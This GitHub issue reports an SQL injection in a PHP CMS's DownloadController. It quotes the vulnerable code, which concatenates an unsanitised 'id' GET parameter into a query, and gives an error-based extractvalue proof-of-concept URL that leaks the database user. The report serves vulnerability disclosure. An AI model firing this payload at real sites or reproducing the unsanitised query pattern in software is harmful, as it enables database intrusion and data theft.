Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

\App\Manage\Controller\DownloadController.class.php has SQLinjection #8

Open
maoqingya opened this issue Nov 28, 2021 · 0 comments
Open

Comments

@maoqingya
Copy link

@maoqingya maoqingya commented Nov 28, 2021

\App\Manage\Controller\DownloadController.class.php
line: 18 - 21
public function index(){
//查询指定id的栏目信息
$id=I('get.id');//类别ID
$topcate=M('Column')->where("id=$id")->order('column_sort')->select();

POC:
http://127.0.0.1/index.php/Download/Index/Column?id=1%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
1 participant